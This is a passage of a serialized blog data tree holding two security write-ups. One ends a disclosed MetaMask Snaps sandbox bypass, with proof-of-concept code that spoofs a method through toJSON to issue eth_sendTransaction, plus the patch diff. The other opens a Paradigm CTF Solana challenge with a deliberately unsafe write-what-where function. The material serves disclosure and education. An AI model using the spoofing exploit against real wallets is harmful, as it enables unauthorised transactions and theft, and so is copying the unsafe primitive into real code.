snap",{"type":25,"tag":216,"props":43738,"children":43739},{"style":6958},[43740],{"type":31,"value":179},{"type":25,"tag":216,"props":43742,"children":43743},{"style":7041},[43744],{"type":31,"value":35449},{"type":25,"tag":216,"props":43746,"children":43747},{"style":6958},[43748],{"type":31,"value":1844},{"type":25,"tag":216,"props":43750,"children":43751},{"style":6941},[43752],{"type":31,"value":2535},{"type":25,"tag":216,"props":43754,"children":43755},{"style":6958},[43756],{"type":31,"value":7101},{"type":25,"tag":216,"props":43758,"children":43759},{"class":6916,"line":7630},[43760],{"type":25,"tag":216,"props":43761,"children":43762},{"emptyLinePlaceholder":16},[43763],{"type":31,"value":7636},{"type":25,"tag":216,"props":43765,"children":43766},{"class":6916,"line":7639},[43767],{"type":25,"tag":216,"props":43768,"children":43769},{"style":6958},[43770],{"type":31,"value":7868},{"type":25,"tag":216,"props":43772,"children":43773},{"class":6916,"line":7648},[43774],{"type":25,"tag":216,"props":43775,"children":43776},{"emptyLinePlaceholder":16},[43777],{"type":31,"value":7636},{"type":25,"tag":216,"props":43779,"children":43780},{"class":6916,"line":7716},[43781,43785,43790],{"type":25,"tag":216,"props":43782,"children":43783},{"style":6930},[43784],{"type":31,"value":35333},{"type":25,"tag":216,"props":43786,"children":43787},{"style":7041},[43788],{"type":31,"value":43789}," transactionExploit",{"type":25,"tag":216,"props":43791,"children":43792},{"style":6958},[43793],{"type":31,"value":43562},{"type":25,"tag":216,"props":43795,"children":43796},{"class":6916,"line":7724},[43797,43801,43805,43809,43813,43817],{"type":25,"tag":216,"props":43798,"children":43799},{"style":6930},[43800],{"type":31,"value":11801},{"type":25,"tag":216,"props":43802,"children":43803},{"style":6941},[43804],{"type":31,"value":23019},{"type":25,"tag":216,"props":43806,"children":43807},{"style":6947},[43808],{"type":31,"value":6950},{"type":25,"tag":216,"props":43810,"children":43811},{"style":6958},[43812],{"type":31,"value":43582},{"type":25,"tag":216,"props":43814,"children":43815},{"style":6967},[43816],{"type":31,"value":12789},{"type":25,"tag":216,"props":43818,"children":43819},{"style":7369},[43820],{"type":31,"value":43591},{"type":25,"tag":216,"props":43822,"children":43823},{"class":6916,"line":7754},[43824],{"type":25,"tag":216,"props":43825,"children":43826},{"emptyLinePlaceholder":16},[43827],{"type":31,"value":7636},{"type":25,"tag":216,"props":43829,"children":43830},{"class":6916,"line":7762},[43831,43835,43839,43843,43847],{"type":25,"tag":216,"props":43832,"children":43833},{"style":6941},[43834],{"type":31,"value":43606},{"type":25,"tag":216,"props":43836,"children":43837},{"style":6958},[43838],{"type":31,"value":179},{"type":25,"tag":216,"props":43840,"children":43841},{"style":6941},[43842],{"type":31,"value":42270},{"type":25,"tag":216,"props":43844,"children":43845},{"style":6947},[43846],{"type":31,"value":6950},{"type":25,"tag":216,"props":43848,"children":43849},{"style":8199},[43850],{"type":31,"value":43623},{"type":25,"tag":216,"props":43852,"children":43853},{"class":6916,"line":7794},[43854],{"type":25,"tag":216,"props":43855,"children":43856},{"emptyLinePlaceholder":16},[43857],{"type":31,"value":7636},{"type":25,"tag":216,"props":43859,"children":43860},{"class":6916,"line":7802},[43861,43865,43869,43873,43877,43881,43885],{"type":25,"tag":216,"props":43862,"children":43863},{"style":6941},[43864],{"type":31,"value":43606},{"type":25,"tag":216,"props":43866,"children":43867},{"style":6958},[43868],{"type":31,"value":179},{"type":25,"tag":216,"props":43870,"children":43871},{"style":7041},[43872],{"type":31,"value":43370},{"type":25,"tag":216,"props":43874,"children":43875},{"style":6947},[43876],{"type":31,"value":6950},{"type":25,"tag":216,"props":43878,"children":43879},{"style":6958},[43880],{"type":31,"value":43654},{"type":25,"tag":216,"props":43882,"children":43883},{"style":6930},[43884],{"type":31,"value":18773},{"type":25,"tag":216,"props":43886,"children":43887},{"style":6958},[43888],{"type":31,"value":7235},{"type":25,"tag":216,"props":43890,"children":43891},{"class":6916,"line":7862},[43892,43896],{"type":25,"tag":216,"props":43893,"children":43894},{"style":6967},[43895],{"type":31,"value":20941},{"type":25,"tag":216,"props":43897,"children":43898},{"style":6958},[43899],{"type":31,"value":7235},{"type":25,"tag":216,"props":43901,"children":43902},{"class":6916,"line":12995},[43903,43907,43912],{"type":25,"tag":216,"props":43904,"children":43905},{"style":6941},[43906],{"type":31,"value":43681},{"type":25,"tag":216,"props":43908,"children":43909},{"style":8199},[43910],{"type":31,"value":43911}," \"eth_sendTransaction\"",{"type":25,"tag":216,"props":43913,"children":43914},{"style":6958},[43915],{"type":31,"value":7459},{"type":25,"tag":216,"props":43917,"children":43918},{"class":6916,"line":13013},[43919,43923],{"type":25,"tag":216,"props":43920,"children":43921},{"style":6941},[43922],{"type":31,"value":43698},{"type":25,"tag":216,"props":43924,"children":43925},{"style":6958},[43926],{"type":31,"value":43927}," [{\n",{"type":25,"tag":216,"props":43929,"children":43930},{"class":6916,"line":13058},[43931,43935,43940,43944],{"type":25,"tag":216,"props":43932,"children":43933},{"style":6941},[43934],{"type":31,"value":36021},{"type":25,"tag":216,"props":43936,"children":43937},{"style":8199},[43938],{"type":31,"value":43939}," \"0xcf26B767586cC5fCF8737dD3FA57de164aF4248d\"",{"type":25,"tag":216,"props":43941,"children":43942},{"style":6958},[43943],{"type":31,"value":7020},{"type":25,"tag":216,"props":43945,"children":43946},{"style":6921},[43947],{"type":31,"value":43948},"// change this to your address\n",{"type":25,"tag":216,"props":43950,"children":43951},{"class":6916,"line":13164},[43952,43956,43960],{"type":25,"tag":216,"props":43953,"children":43954},{"style":6941},[43955],{"type":31,"value":36037},{"type":25,"tag":216,"props":43957,"children":43958},{"style":8199},[43959],{"type":31,"value":43939},{"type":25,"tag":216,"props":43961,"children":43962},{"style":6958},[43963],{"type":31,"value":7459},{"type":25,"tag":216,"props":43965,"children":43966},{"class":6916,"line":27449},[43967,43972,43977],{"type":25,"tag":216,"props":43968,"children":43969},{"style":6941},[43970],{"type":31,"value":43971},"        value:",{"type":25,"tag":216,"props":43973,"children":43974},{"style":8199},[43975],{"type":31,"value":43976}," \"0x1\"",{"type":25,"tag":216,"props":43978,"children":43979},{"style":6958},[43980],{"type":31,"value":7459},{"type":25,"tag":216,"props":43982,"children":43983},{"class":6916,"line":27484},[43984],{"type":25,"tag":216,"props":43985,"children":43986},{"style":6958},[43987],{"type":31,"value":43988},"      }]\n",{"type":25,"tag":216,"props":43990,"children":43991},{"class":6916,"line":27492},[43992],{"type":25,"tag":216,"props":43993,"children":43994},{"style":6958},[43995],{"type":31,"value":7305},{"type":25,"tag":216,"props":43997,"children":43998},{"class":6916,"line":27500},[43999],{"type":25,"tag":216,"props":44000,"children":44001},{"style":6958},[44002],{"type":31,"value":9817},{"type":25,"tag":216,"props":44004,"children":44005},{"class":6916,"line":27509},[44006],{"type":25,"tag":216,"props":44007,"children":44008},{"emptyLinePlaceholder":16},[44009],{"type":31,"value":7636},{"type":25,"tag":216,"props":44011,"children":44012},{"class":6916,"line":27551},[44013,44017,44021,44025,44029,44033,44037],{"type":25,"tag":216,"props":44014,"children":44015},{"style":6967},[44016],{"type":31,"value":43156},{"type":25,"tag":216,"props":44018,"children":44019},{"style":6941},[44020],{"type":31,"value":43736},{"type":25,"tag":216,"props":44022,"children":44023},{"style":6958},[44024],{"type":31,"value":179},{"type":25,"tag":216,"props":44026,"children":44027},{"style":7041},[44028],{"type":31,"value":35449},{"type":25,"tag":216,"props":44030,"children":44031},{"style":6958},[44032],{"type":31,"value":1844},{"type":25,"tag":216,"props":44034,"children":44035},{"style":6941},[44036],{"type":31,"value":2535},{"type":25,"tag":216,"props":44038,"children":44039},{"style":6958},[44040],{"type":31,"value":7791},{"type":25,"tag":216,"props":44042,"children":44043},{"class":6916,"line":27584},[44044],{"type":25,"tag":216,"props":44045,"children":44046},{"style":6958},[44047],{"type":31,"value":7868},{"type":25,"tag":216,"props":44049,"children":44050},{"class":6916,"line":27592},[44051],{"type":25,"tag":216,"props":44052,"children":44053},{"emptyLinePlaceholder":16},[44054],{"type":31,"value":7636},{"type":25,"tag":216,"props":44056,"children":44057},{"class":6916,"line":27600},[44058,44062,44066,44071,44075,44080,44084,44089,44094,44098,44102,44107,44111],{"type":25,"tag":216,"props":44059,"children":44060},{"style":6967},[44061],{"type":31,"value":42166},{"type":25,"tag":216,"props":44063,"children":44064},{"style":6930},[44065],{"type":31,"value":43068},{"type":25,"tag":216,"props":44067,"children":44068},{"style":7041},[44069],{"type":31,"value":44070}," onRpcRequest",{"type":25,"tag":216,"props":44072,"children":44073},{"style":6947},[44074],{"type":31,"value":1466},{"type":25,"tag":216,"props":44076,"children":44077},{"style":7369},[44078],{"type":31,"value":44079}," OnRpcRequestHandler",{"type":25,"tag":216,"props":44081,"children":44082},{"style":6947},[44083],{"type":31,"value":6950},{"type":25,"tag":216,"props":44085,"children":44086},{"style":6958},[44087],{"type":31,"value":44088}," ({ ",{"type":25,"tag":216,"props":44090,"children":44091},{"style":6941},[44092],{"type":31,"value":44093},"origin",{"type":25,"tag":216,"props":44095,"children":44096},{"style":6958},[44097],{"type":31,"value":7020},{"type":25,"tag":216,"props":44099,"children":44100},{"style":6941},[44101],{"type":31,"value":35449},{"type":25,"tag":216,"props":44103,"children":44104},{"style":6958},[44105],{"type":31,"value":44106}," }) ",{"type":25,"tag":216,"props":44108,"children":44109},{"style":6930},[44110],{"type":31,"value":18773},{"type":25,"tag":216,"props":44112,"children":44113},{"style":6958},[44114],{"type":31,"value":7235},{"type":25,"tag":216,"props":44116,"children":44117},{"class":6916,"line":27609},[44118],{"type":25,"tag":216,"props":44119,"children":44120},{"emptyLinePlaceholder":16},[44121],{"type":31,"value":7636},{"type":25,"tag":216,"props":44123,"children":44124},{"class":6916,"line":27685},[44125,44130,44134,44138,44142,44146],{"type":25,"tag":216,"props":44126,"children":44127},{"style":6967},[44128],{"type":31,"value":44129},"  switch",{"type":25,"tag":216,"props":44131,"children":44132},{"style":6958},[44133],{"type":31,"value":7010},{"type":25,"tag":216,"props":44135,"children":44136},{"style":6941},[44137],{"type":31,"value":35449},{"type":25,"tag":216,"props":44139,"children":44140},{"style":6958},[44141],{"type":31,"value":179},{"type":25,"tag":216,"props":44143,"children":44144},{"style":6941},[44145],{"type":31,"value":42270},{"type":25,"tag":216,"props":44147,"children":44148},{"style":6958},[44149],{"type":31,"value":18755},{"type":25,"tag":216,"props":44151,"children":44152},{"class":6916,"line":27718},[44153,44158,44163],{"type":25,"tag":216,"props":44154,"children":44155},{"style":6967},[44156],{"type":31,"value":44157},"    case",{"type":25,"tag":216,"props":44159,"children":44160},{"style":8199},[44161],{"type":31,"value":44162}," 'json'",{"type":25,"tag":216,"props":44164,"children":44165},{"style":6958},[44166],{"type":31,"value":9512},{"type":25,"tag":216,"props":44168,"children":44169},{"class":6916,"line":27726},[44170,44174,44178],{"type":25,"tag":216,"props":44171,"children":44172},{"style":6967},[44173],{"type":31,"value":43314},{"type":25,"tag":216,"props":44175,"children":44176},{"style":7041},[44177],{"type":31,"value":43557},{"type":25,"tag":216,"props":44179,"children":44180},{"style":6958},[44181],{"type":31,"value":7627},{"type":25,"tag":216,"props":44183,"children":44184},{"class":6916,"line":27734},[44185,44189,44194],{"type":25,"tag":216,"props":44186,"children":44187},{"style":6967},[44188],{"type":31,"value":44157},{"type":25,"tag":216,"props":44190,"children":44191},{"style":8199},[44192],{"type":31,"value":44193}," 'transaction'",{"type":25,"tag":216,"props":44195,"children":44196},{"style":6958},[44197],{"type":31,"value":9512},{"type":25,"tag":216,"props":44199,"children":44200},{"class":6916,"line":27771},[44201,44205,44209],{"type":25,"tag":216,"props":44202,"children":44203},{"style":6967},[44204],{"type":31,"value":43314},{"type":25,"tag":216,"props":44206,"children":44207},{"style":7041},[44208],{"type":31,"value":43789},{"type":25,"tag":216,"props":44210,"children":44211},{"style":6958},[44212],{"type":31,"value":7627},{"type":25,"tag":216,"props":44214,"children":44215},{"class":6916,"line":27784},[44216,44221],{"type":25,"tag":216,"props":44217,"children":44218},{"style":6967},[44219],{"type":31,"value":44220},"    default",{"type":25,"tag":216,"props":44222,"children":44223},{"style":6958},[44224],{"type":31,"value":9512},{"type":25,"tag":216,"props":44226,"children":44227},{"class":6916,"line":27797},[44228,44233,44237,44242,44246,44251],{"type":25,"tag":216,"props":44229,"children":44230},{"style":6967},[44231],{"type":31,"value":44232},"      throw",{"type":25,"tag":216,"props":44234,"children":44235},{"style":6930},[44236],{"type":31,"value":35889},{"type":25,"tag":216,"props":44238,"children":44239},{"style":7041},[44240],{"type":31,"value":44241}," Error",{"type":25,"tag":216,"props":44243,"children":44244},{"style":6958},[44245],{"type":31,"value":1844},{"type":25,"tag":216,"props":44247,"children":44248},{"style":8199},[44249],{"type":31,"value":44250},"'Method not found.'",{"type":25,"tag":216,"props":44252,"children":44253},{"style":6958},[44254],{"type":31,"value":7791},{"type":25,"tag":216,"props":44256,"children":44257},{"class":6916,"line":27810},[44258],{"type":25,"tag":216,"props":44259,"children":44260},{"style":6958},[44261],{"type":31,"value":9817},{"type":25,"tag":216,"props":44263,"children":44264},{"class":6916,"line":27864},[44265],{"type":25,"tag":216,"props":44266,"children":44267},{"style":6958},[44268],{"type":31,"value":20530},{"type":25,"tag":38,"props":44270,"children":44271},{},[44272,44274,44280,44282,44287],{"type":31,"value":44273},"We set ",{"type":25,"tag":82,"props":44275,"children":44277},{"className":44276},[],[44278],{"type":31,"value":44279},"x.method = \"snap_dialog\"",{"type":31,"value":44281}," to pass the assertion and setup a toJSON function to change this method to ",{"type":25,"tag":82,"props":44283,"children":44285},{"className":44284},[],[44286],{"type":31,"value":43489},{"type":31,"value":44288}," after.",{"type":25,"tag":607,"props":44290,"children":44292},{"id":44291},"mitigation",[44293],{"type":31,"value":44294},"Mitigation",{"type":25,"tag":38,"props":44296,"children":44297},{},[44298,44300,44305,44307,44314],{"type":31,"value":44299},"Metamask mitigated this issue by asserting the arguments after the ",{"type":25,"tag":82,"props":44301,"children":44303},{"className":44302},[],[44304],{"type":31,"value":43033},{"type":31,"value":44306}," function execution. The patch was introduced on commit ",{"type":25,"tag":162,"props":44308,"children":44311},{"href":44309,"rel":44310},"https://github.com/MetaMask/snaps/pull/1762/commits/168ff082102a65e2aad428f44c5b10f9a100c689",[166],[44312],{"type":31,"value":44313},"168ff08",{"type":31,"value":44315}," with the following changes:",{"type":25,"tag":206,"props":44317,"children":44321},{"className":44318,"code":44319,"language":44320,"meta":7,"style":7},"language-diff shiki shiki-themes slack-dark","const request = async (args: RequestArguments) => {\n-      assertEthereumOutboundRequest(args);\n-      const sanitizedArgs = getSafeJson(args);\n+      const sanitizedArgs = getSafeJson(args) as RequestArguments;\n+      assertEthereumOutboundRequest(sanitizedArgs);\n","diff",[44322],{"type":25,"tag":82,"props":44323,"children":44324},{"__ignoreMap":7},[44325,44333,44341,44349,44357],{"type":25,"tag":216,"props":44326,"children":44327},{"class":6916,"line":6917},[44328],{"type":25,"tag":216,"props":44329,"children":44330},{"style":6958},[44331],{"type":31,"value":44332},"const request = async (args: RequestArguments) => {\n",{"type":25,"tag":216,"props":44334,"children":44335},{"class":6916,"line":6763},[44336],{"type":25,"tag":216,"props":44337,"children":44338},{"style":8199},[44339],{"type":31,"value":44340},"-      assertEthereumOutboundRequest(args);\n",{"type":25,"tag":216,"props":44342,"children":44343},{"class":6916,"line":6772},[44344],{"type":25,"tag":216,"props":44345,"children":44346},{"style":8199},[44347],{"type":31,"value":44348},"-      const sanitizedArgs = getSafeJson(args);\n",{"type":25,"tag":216,"props":44350,"children":44351},{"class":6916,"line":6999},[44352],{"type":25,"tag":216,"props":44353,"children":44354},{"style":6983},[44355],{"type":31,"value":44356},"+      const sanitizedArgs = getSafeJson(args) as RequestArguments;\n",{"type":25,"tag":216,"props":44358,"children":44359},{"class":6916,"line":7104},[44360],{"type":25,"tag":216,"props":44361,"children":44362},{"style":6983},[44363],{"type":31,"value":44364},"+      assertEthereumOutboundRequest(sanitizedArgs);\n",{"type":25,"tag":26,"props":44366,"children":44367},{"id":32886},[44368],{"type":31,"value":22901},{"type":25,"tag":38,"props":44370,"children":44371},{},[44372],{"type":31,"value":44373},"This unique property spoofing vulnerability in the Snaps sandboxing implementation illustrates the wide range of control attackers have in Javascript, which makes designing robust sandbox implementations an extremely complex task.",{"type":25,"tag":38,"props":44375,"children":44376},{},[44377],{"type":31,"value":44378},"Metamask has implemented numerous layers to mitigate potential exploits, and we're proud to help contribute to making Snaps more secure.",{"type":25,"tag":9310,"props":44380,"children":44381},{},[44382],{"type":31,"value":9314},{"title":7,"searchDepth":6763,"depth":6763,"links":44384},[44385,44386,44393,44401],{"id":22910,"depth":6763,"text":22913},{"id":39409,"depth":6763,"text":39412,"children":44387},[44388,44389,44390,44391,44392],{"id":39420,"depth":6772,"text":39423},{"id":39488,"depth":6772,"text":39491},{"id":39524,"depth":6772,"text":39527},{"id":40920,"depth":6772,"text":40923},{"id":41278,"depth":6772,"text":41281},{"id":42065,"depth":6763,"text":42068,"children":44394},[44395,44396,44397,44398,44399,44400],{"id":42071,"depth":6772,"text":42074},{"id":42115,"depth":6772,"text":42118},{"id":43019,"depth":6772,"text":43022},{"id":9606,"depth":6772,"text":9609},{"id":43462,"depth":6772,"text":38786},{"id":44291,"depth":6772,"text":44294},{"id":32886,"depth":6763,"text":22901},"content:blog:2023-11-01-metamask-snaps.md","blog/2023-11-01-metamask-snaps.md","blog/2023-11-01-metamask-snaps",{"_path":44406,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":44407,"description":44408,"author":44409,"image":44411,"date":44413,"isFeatured":16,"onBlogPage":16,"body":44414,"_type":6792,"_id":49833,"_source":6794,"_file":49834,"_stem":49835,"_extension":6797},"/blog/2023-12-11-jumping-around-in-the-vm","Solana: Jumping Around in the VM","An exploration of low-level Solana VM behavior. How to escalate from a powerful memory corruption primitive to full program control.",[44410,9664],"nicola",{"src":44412},"/posts/jumping-around-in-the-vm/cover.png","2023-12-11",{"type":22,"children":44415,"toc":49822},[44416,44430,44450,44455,44459,44472,44497,44503,44508,44523,44877,44892,45157,45173,45816,45822,45827,45840,45848,46060,46068,46371,46379,46522,46530,47055,47061,47073,47086,47100,47105,47873,47878,47886,47891,47897,47909,47974,47979,47992,48005,48011,48039,49189,49202,49244,49249,49254,49268,49408,49429,49450,49457,49508,49516,49527,49540,49545,49669,49682,49784,49788,49801,49806,49818],{"type":25,"tag":38,"props":44417,"children":44418},{},[44419,44421,44428],{"type":31,"value":44420},"In the world of CTFs, ",{"type":25,"tag":162,"props":44422,"children":44425},{"href":44423,"rel":44424},"https://twitter.com/paradigm_ctf",[166],[44426],{"type":31,"value":44427},"Paradigm CTF 2023",{"type":31,"value":44429}," was like no other. Presenting a unique Solana challenge, the goal was to leverage Jump Oriented Programming, a web2 binary exploitation technique, inside the Solana VM to achieve arbitrary CPI execution.",{"type":25,"tag":38,"props":44431,"children":44432},{},[44433,44435,44442,44443],{"type":31,"value":44434},"To succeed in this challenge, a strong understanding of the Solana VM is required. We've explored parts of the Solana VM internals in two previous blog posts: ",{"type":25,"tag":162,"props":44436,"children":44439},{"href":44437,"rel":44438},"https://osec.io/blog/2022-03-14-solana-security-intro",[166],[44440],{"type":31,"value":44441},"Solana: An Auditor's Introduction",{"type":31,"value":1301},{"type":25,"tag":162,"props":44444,"children":44447},{"href":44445,"rel":44446},"https://osec.io/blog/2022-08-27-reverse-engineering-solana",[166],[44448],{"type":31,"value":44449},"Reverse Engineering Solana with Binary Ninja.\n",{"type":25,"tag":38,"props":44451,"children":44452},{},[44453],{"type":31,"value":44454},"In this comprehensive overview, we'll break down critical components of the Solana BPF VM necessary to write a complete memory-corruption exploit. We then turn an arbitrary function call and memory write primitive into a full exploit.",{"type":25,"tag":26,"props":44456,"children":44457},{"id":22910},[44458],{"type":31,"value":22913},{"type":25,"tag":38,"props":44460,"children":44461},{},[44462,44464,44470],{"type":31,"value":44463},"The challenge itself resides into ",{"type":25,"tag":82,"props":44465,"children":44467},{"className":44466},[],[44468],{"type":31,"value":44469},"framework/",{"type":31,"value":44471},", and is composed of 2 parts:",{"type":25,"tag":2033,"props":44473,"children":44474},{},[44475,44486],{"type":25,"tag":2037,"props":44476,"children":44477},{},[44478,44484],{"type":25,"tag":82,"props":44479,"children":44481},{"className":44480},[],[44482],{"type":31,"value":44483},"framework/chall/lib.rs",{"type":31,"value":44485},": The on-chain eBPF program that needs to be exploited.",{"type":25,"tag":2037,"props":44487,"children":44488},{},[44489,44495],{"type":25,"tag":82,"props":44490,"children":44492},{"className":44491},[],[44493],{"type":31,"value":44494},"framework/src/main.rs",{"type":31,"value":44496},": Program that setups a solana test environment, gets a single instruction and make it possible to users to interact with the on-chain program.",{"type":25,"tag":607,"props":44498,"children":44500},{"id":44499},"vulnerable-program",[44501],{"type":31,"value":44502},"Vulnerable Program",{"type":25,"tag":38,"props":44504,"children":44505},{},[44506],{"type":31,"value":44507},"The program is simple: it parses the input data and does something based on the first byte. Each potential action is quite out of the ordinary though!",{"type":25,"tag":6705,"props":44509,"children":44510},{},[44511],{"type":25,"tag":2037,"props":44512,"children":44513},{},[44514,44515,44521],{"type":31,"value":11425},{"type":25,"tag":82,"props":44516,"children":44518},{"className":44517},[],[44519],{"type":31,"value":44520},"data[0] == 0",{"type":31,"value":44522}," a function that lets you write-what-where is executed",{"type":25,"tag":206,"props":44524,"children":44526},{"className":6909,"code":44525,"language":6908,"meta":7,"style":7},"#[inline(never)]\npub fn write(data: &[u8]) {\n    unsafe {\n        let ptr = std::mem::transmute::\u003C[u8; 8], *mut u64>(data[..8].try_into().unwrap());\n        let val = std::mem::transmute::\u003C[u8; 8], u64>(data[8..16].try_into().unwrap());\n        ptr.write_volatile(val);\n    }\n}\n",[44527],{"type":25,"tag":82,"props":44528,"children":44529},{"__ignoreMap":7},[44530,44538,44583,44594,44717,44834,44863,44870],{"type":25,"tag":216,"props":44531,"children":44532},{"class":6916,"line":6917},[44533],{"type":25,"tag":216,"props":44534,"children":44535},{"style":6958},[44536],{"type":31,"value":44537},"#[inline(never)]\n",{"type":25,"tag":216,"props":44539,"children":44540},{"class":6916,"line":6763},[44541,44545,44549,44554,44558,44562,44566,44570,44574,44578],{"type":25,"tag":216,"props":44542,"children":44543},{"style":6930},[44544],{"type":31,"value":17641},{"type":25,"tag":216,"props":44546,"children":44547},{"style":6930},[44548],{"type":31,"value":17646},{"type":25,"tag":216,"props":44550,"children":44551},{"style":7041},[44552],{"type":31,"value":44553}," write",{"type":25,"tag":216,"props":44555,"children":44556},{"style":6958},[44557],{"type":31,"value":1844},{"type":25,"tag":216,"props":44559,"children":44560},{"style":6941},[44561],{"type":31,"value":7663},{"type":25,"tag":216,"props":44563,"children":44564},{"style":6947},[44565],{"type":31,"value":1466},{"type":25,"tag":216,"props":44567,"children":44568},{"style":6947},[44569],{"type":31,"value":11087},{"type":25,"tag":216,"props":44571,"children":44572},{"style":6958},[44573],{"type":31,"value":7695},{"type":25,"tag":216,"props":44575,"children":44576},{"style":7369},[44577],{"type":31,"value":7372},{"type":25,"tag":216,"props":44579,"children":44580},{"style":6958},[44581],{"type":31,"value":44582},"]) {\n",{"type":25,"tag":216,"props":44584,"children":44585},{"class":6916,"line":6772},[44586,44590],{"type":25,"tag":216,"props":44587,"children":44588},{"style":6930},[44589],{"type":31,"value":17784},{"type":25,"tag":216,"props":44591,"children":44592},{"style":6958},[44593],{"type":31,"value":7235},{"type":25,"tag":216,"props":44595,"children":44596},{"class":6916,"line":6999},[44597,44601,44605,44609,44614,44618,44623,44627,44632,44636,44641,44645,44649,44653,44657,44661,44665,44669,44673,44677,44681,44685,44689,44693,44697,44701,44705,44709,44713],{"type":25,"tag":216,"props":44598,"children":44599},{"style":6930},[44600],{"type":31,"value":7005},{"type":25,"tag":216,"props":44602,"children":44603},{"style":6941},[44604],{"type":31,"value":17808},{"type":25,"tag":216,"props":44606,"children":44607},{"style":6947},[44608],{"type":31,"value":6950},{"type":25,"tag":216,"props":44610,"children":44611},{"style":6958},[44612],{"type":31,"value":44613}," std",{"type":25,"tag":216,"props":44615,"children":44616},{"style":6947},[44617],{"type":31,"value":7432},{"type":25,"tag":216,"props":44619,"children":44620},{"style":6958},[44621],{"type":31,"value":44622},"mem",{"type":25,"tag":216,"props":44624,"children":44625},{"style":6947},[44626],{"type":31,"value":7432},{"type":25,"tag":216,"props":44628,"children":44629},{"style":7041},[44630],{"type":31,"value":44631},"transmute",{"type":25,"tag":216,"props":44633,"children":44634},{"style":6947},[44635],{"type":31,"value":7432},{"type":25,"tag":216,"props":44637,"children":44638},{"style":6958},[44639],{"type":31,"value":44640},"\u003C[",{"type":25,"tag":216,"props":44642,"children":44643},{"style":7369},[44644],{"type":31,"value":7372},{"type":25,"tag":216,"props":44646,"children":44647},{"style":6958},[44648],{"type":31,"value":21178},{"type":25,"tag":216,"props":44650,"children":44651},{"style":6983},[44652],{"type":31,"value":8025},{"type":25,"tag":216,"props":44654,"children":44655},{"style":6958},[44656],{"type":31,"value":27000},{"type":25,"tag":216,"props":44658,"children":44659},{"style":6947},[44660],{"type":31,"value":8513},{"type":25,"tag":216,"props":44662,"children":44663},{"style":6930},[44664],{"type":31,"value":7685},{"type":25,"tag":216,"props":44666,"children":44667},{"style":7369},[44668],{"type":31,"value":9805},{"type":25,"tag":216,"props":44670,"children":44671},{"style":6958},[44672],{"type":31,"value":11556},{"type":25,"tag":216,"props":44674,"children":44675},{"style":6941},[44676],{"type":31,"value":7663},{"type":25,"tag":216,"props":44678,"children":44679},{"style":6958},[44680],{"type":31,"value":7695},{"type":25,"tag":216,"props":44682,"children":44683},{"style":6947},[44684],{"type":31,"value":6991},{"type":25,"tag":216,"props":44686,"children":44687},{"style":6983},[44688],{"type":31,"value":8025},{"type":25,"tag":216,"props":44690,"children":44691},{"style":6958},[44692],{"type":31,"value":19362},{"type":25,"tag":216,"props":44694,"children":44695},{"style":6947},[44696],{"type":31,"value":179},{"type":25,"tag":216,"props":44698,"children":44699},{"style":7041},[44700],{"type":31,"value":30114},{"type":25,"tag":216,"props":44702,"children":44703},{"style":6958},[44704],{"type":31,"value":17830},{"type":25,"tag":216,"props":44706,"children":44707},{"style":6947},[44708],{"type":31,"value":179},{"type":25,"tag":216,"props":44710,"children":44711},{"style":7041},[44712],{"type":31,"value":7622},{"type":25,"tag":216,"props":44714,"children":44715},{"style":6958},[44716],{"type":31,"value":19376},{"type":25,"tag":216,"props":44718,"children":44719},{"class":6916,"line":7104},[44720,44724,44729,44733,44737,44741,44745,44749,44753,44757,44761,44765,44769,44773,44777,44781,44785,44789,44793,44797,44801,44806,44810,44814,44818,44822,44826,44830],{"type":25,"tag":216,"props":44721,"children":44722},{"style":6930},[44723],{"type":31,"value":7005},{"type":25,"tag":216,"props":44725,"children":44726},{"style":6941},[44727],{"type":31,"value":44728}," val",{"type":25,"tag":216,"props":44730,"children":44731},{"style":6947},[44732],{"type":31,"value":6950},{"type":25,"tag":216,"props":44734,"children":44735},{"style":6958},[44736],{"type":31,"value":44613},{"type":25,"tag":216,"props":44738,"children":44739},{"style":6947},[44740],{"type":31,"value":7432},{"type":25,"tag":216,"props":44742,"children":44743},{"style":6958},[44744],{"type":31,"value":44622},{"type":25,"tag":216,"props":44746,"children":44747},{"style":6947},[44748],{"type":31,"value":7432},{"type":25,"tag":216,"props":44750,"children":44751},{"style":7041},[44752],{"type":31,"value":44631},{"type":25,"tag":216,"props":44754,"children":44755},{"style":6947},[44756],{"type":31,"value":7432},{"type":25,"tag":216,"props":44758,"children":44759},{"style":6958},[44760],{"type":31,"value":44640},{"type":25,"tag":216,"props":44762,"children":44763},{"style":7369},[44764],{"type":31,"value":7372},{"type":25,"tag":216,"props":44766,"children":44767},{"style":6958},[44768],{"type":31,"value":21178},{"type":25,"tag":216,"props":44770,"children":44771},{"style":6983},[44772],{"type":31,"value":8025},{"type":25,"tag":216,"props":44774,"children":44775},{"style":6958},[44776],{"type":31,"value":27000},{"type":25,"tag":216,"props":44778,"children":44779},{"style":7369},[44780],{"type":31,"value":11988},{"type":25,"tag":216,"props":44782,"children":44783},{"style":6958},[44784],{"type":31,"value":11556},{"type":25,"tag":216,"props":44786,"children":44787},{"style":6941},[44788],{"type":31,"value":7663},{"type":25,"tag":216,"props":44790,"children":44791},{"style":6958},[44792],{"type":31,"value":7695},{"type":25,"tag":216,"props":44794,"children":44795},{"style":6983},[44796],{"type":31,"value":8025},{"type":25,"tag":216,"props":44798,"children":44799},{"style":6947},[44800],{"type":31,"value":6991},{"type":25,"tag":216,"props":44802,"children":44803},{"style":6983},[44804],{"type":31,"value":44805},"16",{"type":25,"tag":216,"props":44807,"children":44808},{"style":6958},[44809],{"type":31,"value":19362},{"type":25,"tag":216,"props":44811,"children":44812},{"style":6947},[44813],{"type":31,"value":179},{"type":25,"tag":216,"props":44815,"children":44816},{"style":7041},[44817],{"type":31,"value":30114},{"type":25,"tag":216,"props":44819,"children":44820},{"style":6958},[44821],{"type":31,"value":17830},{"type":25,"tag":216,"props":44823,"children":44824},{"style":6947},[44825],{"type":31,"value":179},{"type":25,"tag":216,"props":44827,"children":44828},{"style":7041},[44829],{"type":31,"value":7622},{"type":25,"tag":216,"props":44831,"children":44832},{"style":6958},[44833],{"type":31,"value":19376},{"type":25,"tag":216,"props":44835,"children":44836},{"class":6916,"line":7210},[44837,44842,44846,44851,44855,44859],{"type":25,"tag":216,"props":44838,"children":44839},{"style":6941},[44840],{"type":31,"value":44841},"        